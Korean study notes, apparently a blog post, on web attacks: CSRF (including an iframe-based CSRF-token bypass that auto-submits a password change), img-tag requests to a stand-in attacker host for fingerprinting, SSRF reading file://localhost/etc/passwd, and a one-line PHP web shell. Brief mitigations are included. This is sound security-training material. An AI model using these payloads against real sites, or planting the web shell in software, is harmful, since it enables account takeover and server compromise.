CSRF 공격 Remind
> 요청이 서버에 날라간다.
-WHERE
> 모든 요청
-> 컨설턴트 주관
-> "비밀번호 변경"
-> 게시판 글을 작성 CSRF
(1) GET method
> URL
> 로그인 한 다음에 볼 수 있는 페이지
(2) POST method
> 무조건 XSS 공격 포인트를 찾아야 함 -> 같은 도메인에서.
왜 꼭 같은 도메인?!
-> 세션을 이용하기 위해서!
예전에는 공격자 사이트에 접속만 해도 모든 입력 정보를 받을 수 있었다.
최근에는 좀 더 똑똑해져서 도메인 별로 쿠키를 다르게 뿌려준다.
<form method='POST'>
</form>
(3) Referrer Bypass
-> meta
<meta name="referrer" content="no-referrer">
(4) CSRF Token
-> 요청을 위조할 수 있다.
-> XSS 공격이 있다면 Bypass 가능.
<iframe id="getCSRFToken" src="원하는 페이지 URL" onload="exploit()">
</iframe>
<form id="csrf_form" method="POST" action="원하는 페이지 URL">
<input name="pw" value="1234">
<input name="csrf_token" value="">
</form>
<script>
function exploit ( ) {
var token = document.getElementById('getCSRFToken').
contentDocument.forms[0].csrf_token.value;
console.log(token);
document.getElementById('csrf_form').csrf_token.value = token ;
document.getElementById('csrf_form').submit( );
}
</script>
게시판이 위 코드를 복붙해서 원하는 페이지 URL을 마이페이지
회원 정보 수정 URL을 넣는다면 비밀번호 수정 요청을 날릴 수 있음
만약 onload를 사용하지 않고 iframe 태그 밑에 script를 넣는다면,
script가 먼저 실행되어 오류가 뜰 수도 있다.
각 태그에 id를 쓰는 이유는 태그 객체별로 script에서 접근하기 위해서
POST로 보낼 때는 파라미터 갯수를 맞춰주지 않아도 요청을 날릴 수 있다.
(Burp Suite HTTP history 내에서 봤을 때 등호만 있고 값이 없다면)
-- 대응 방안.
(1) 지키고자하는 요청에서 인증 정보 추가.
그런데 모든 요청에서 인증 정보를 추가할 순 없음
(2) 게시판 (애매한 요청) - Referrer Check, CSRF Token 을 추가하는 편
게시판은 일일히 비밀번호를 검증할 순 없기 때문에 (편의성이 많이 떨어지므로)
- Captcha
목적 : 자동화 공격을 막기 위해서.
로그인 과정에서, SQL 인젝션을 할 때
아이디 문자 제한 수를 두거나
CSRF 1 문제 :
GET admin
admin
업로드 양식
게시글 제목 : "이름" 답안 제출
> 링크~~
> URL ~~~
위 방식도 좋지만 a 태그도 좋음
아래 게시글... 이상합니다
<a href="비밀번호 변경 요청">https://www.naver.com/cafe/~~~</a>
더 좋은 방식으로 img 태그도 사용할 수 있다.
<img src="비밀번호 변경 요청">
핑거 프린팅.
어떤 기업 - 직원이 어떤 컴퓨터에 어떤 브라우저를 쓰는가
를 알아보고자 할 때 img 태그에 주소로 핑거프린팅 사이트를 삽입할 수 있다.
<img src="http://공격자/ipget.php">
$ip = $_SERVER['REMOTE_ADDR']
그런데 이렇게 하면 바로 요청이 나가버리기 때문에 javascript alert 창을 막을 수 없음
[1] script 태그 사용
<script src="URL?id=&info=&pw=sdfd"></script>
이렇게 script에도 src 속성을 넣어서 img 태그처럼 사용가능
그럼 script 안의 src가 javascript 안에 있다고 생각되어
alert가 뜨지 않는다.
[2] iframe 사용
<iframe>
<form method="GET" target=>
</form>
그런데 비밀번호를 변경하면 기존의 세션이 파기되는 경우도 있을 수 있기 때문에
Repeater 뿐만이 아니라 intercept is on 을 해서 보내보는 것도 체크해봐야 한다.
POST 방식일 경우
XSS 를 빨리 찾아야 함
경우마다 직접 해봐야 함!!
SSRF
Server Side Request Forgery
Where?
: 서버가 외부 자원(리소스)을 이용하는 곳에서 발생
: 파라미터로 URL을 받는 경우.
예를 들어) 날씨 정보를 출력해주는 기능.
API
view.php?weatherAPI=https://kakao.com/~~~
이란 부분이 있을 때
해커가 원하는 URL로 바꿔쳐서 다른 곳으로 요청을 하게 만드는 공격
해당 API를 발견했을 때
Api 주소를 예를 들어 http://localhost/admin으로 바꿔보낸다면,
서버 입장에선 스스로의 ip로 요청을 보내는 거라 해당 정보가 찍혀 나오게 된다.
접근할 수 없는 리소스에 접근할 수 있게 되는 것이다.
http 프로토콜이 아니라
file://localhost/etc/passwd 라거나
ssh://localhost/라거나
ftp:// 라거나 외부에서 접근할 수 없는 페이지나 파일을 열람할 수 있다.
또는 포트 scan도 가능
최근에는 API를 사용하는 기능들이 많기 때문에 위험도가 크다.
그런데 실무에서 만나기는 힘듬
URL로 파라미터를 전달해주는 곳이 드물기 때문
-- 대응 방안.
파라미터를 URL로 안 보내면 됨.
* File Upload 공격
-> 업로드 되는 파일을 제한하지 않을 때 발생.
외부 사용자가 막! 아무 파일이나, 올릴 수 있다면?
(1) 용량
(2) Phishing
(3) Deface (대문 페이지 변경 공격)
index 페이지 변경
(4) XSS
js.
html.
(5) Server Side Script
서버 자체를 내 컴퓨터처럼 장악할 수 있음
위험도로 치면 가장 높음
그럼 어떤 코드를 올려?
시스템 명령어!
웹 쉘 코드 (한줄 웹 쉘)
<?php echo system($_GET['cmd']); ?>
'해킹 > Web Hacking' 카테고리의 다른 글
[11주차] 해킹 스터디 정리 - File Download 공격, LFI 취약점 (0) | 2023.06.08 |
---|---|
[10주차] 해킹 스터디 정리 - File Upload 공격 (0) | 2023.06.01 |
[8주차] 해킹 스터디 정리 - XSS Bypass, 대응 방안, CSRF 공격 (0) | 2023.05.18 |
[7주차] 해킹 스터디 정리 - Reflected XSS, DOM XSS (0) | 2023.05.13 |
[6주차] 해킹 스터디 정리 - SQL Injection 복습, XSS (0) | 2023.05.04 |